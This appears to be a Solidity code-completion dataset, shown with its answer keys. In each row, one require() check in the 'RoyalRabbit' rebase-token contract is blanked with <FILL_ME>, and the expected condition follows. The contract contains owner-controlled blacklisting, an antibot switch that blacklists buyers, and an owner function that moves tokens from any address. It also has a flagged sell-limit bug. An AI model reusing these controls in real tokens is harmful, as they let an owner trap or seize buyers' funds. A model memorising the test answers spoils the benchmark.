function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
uint256 rAmount = amount.mul(_rate);
if (!authorizations[sender] && !authorizations[recipient]){
require(amount <= maxSellTransactionAmount, "Error amount");
uint blkTime = block.timestamp;
uint256 onePercent = balanceOf(sender).mul(maxSellTransactionAmount).div(100); //Should use variable
require(amount <= onePercent, "ERR: Can't sell more than 1%");
if( blkTime > tradeData[sender].lastTradeTime + TwentyFourhours) {
tradeData[sender].lastTradeTime = blkTime;
tradeData[sender].tradeAmount = amount;
}
else if( (blkTime < tradeData[sender].lastTradeTime + TwentyFourhours) && (( blkTime > tradeData[sender].lastTradeTime)) ){
require(tradeData[sender].tradeAmount + amount <= onePercent, "ERR: Can't sell more than 1% in One day");
tradeData[sender].tradeAmount = tradeData[sender].tradeAmount + amount;
}
}
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen,"Trading not open yet");
if(antibot && sender == pair && recipient != pair){
isBlacklisted[recipient] = true;
}
}
if(blacklistMode){
require(!isBlacklisted[sender],"Blacklisted");
}
if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= (_maxWalletToken.div(_rate)),"max wallet limit reached");
}
require(<FILL_ME>)
if(shouldRebase() && autoRebase && recipient == pair) {
_rebase();
pcspair_interface.sync();
if(sender != pair && recipient != pair){
manualSync();
}
}
if(shouldSwapBack()) {
swapBack();
}
//Exchange tokens
_rBalance[sender] = _rBalance[sender].sub(rAmount, "Insufficient Balance");
uint256 amountReceived = ( isFeeExempt[sender] || isFeeExempt[recipient] ) ? rAmount : takeFee(sender, rAmount, recipient);
_rBalance[recipient] = _rBalance[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived.div(_rate));
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| amount<=(_maxTxAmount.div(_rate))||isTxLimitExempt[sender]||isTxLimitExempt[recipient],"TX Limit Exceeded" | 205,122 | amount<=(_maxTxAmount.div(_rate))||isTxLimitExempt[sender]||isTxLimitExempt[recipient] |
"TrueBurn DAO Turned off" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
require(<FILL_ME>)
address wallet = 0x000000000000000000000000000000000000dEaD;
uint256 rTokenstoburn = _rBalance[wallet].div(100).mul(_percent);
_rBalance[wallet] = _rBalance[wallet] - rTokenstoburn;
_totalSupply = _totalSupply - (rTokenstoburn.div(_rate));
TOTAL_GONS = TOTAL_GONS - rTokenstoburn;
emit Transfer(wallet,address(this),(rTokenstoburn.div(_rate)));
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| RoyalRabbitBurnDAO||isAuthorized(msg.sender),"TrueBurn DAO Turned off" | 205,122 | RoyalRabbitBurnDAO||isAuthorized(msg.sender) |
"Buy fees cannot be more than 10%" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
sellMultiplier = _sell;
buyMultiplier = _buy;
transferMultiplier = _trans;
require(<FILL_ME>)
require(totalFee.mul(sellMultiplier).div(100) <= 10, "Sell fees cannot be more than 10%");
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| totalFee.mul(buyMultiplier).div(100)<=10,"Buy fees cannot be more than 10%" | 205,122 | totalFee.mul(buyMultiplier).div(100)<=10 |
"Sell fees cannot be more than 10%" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
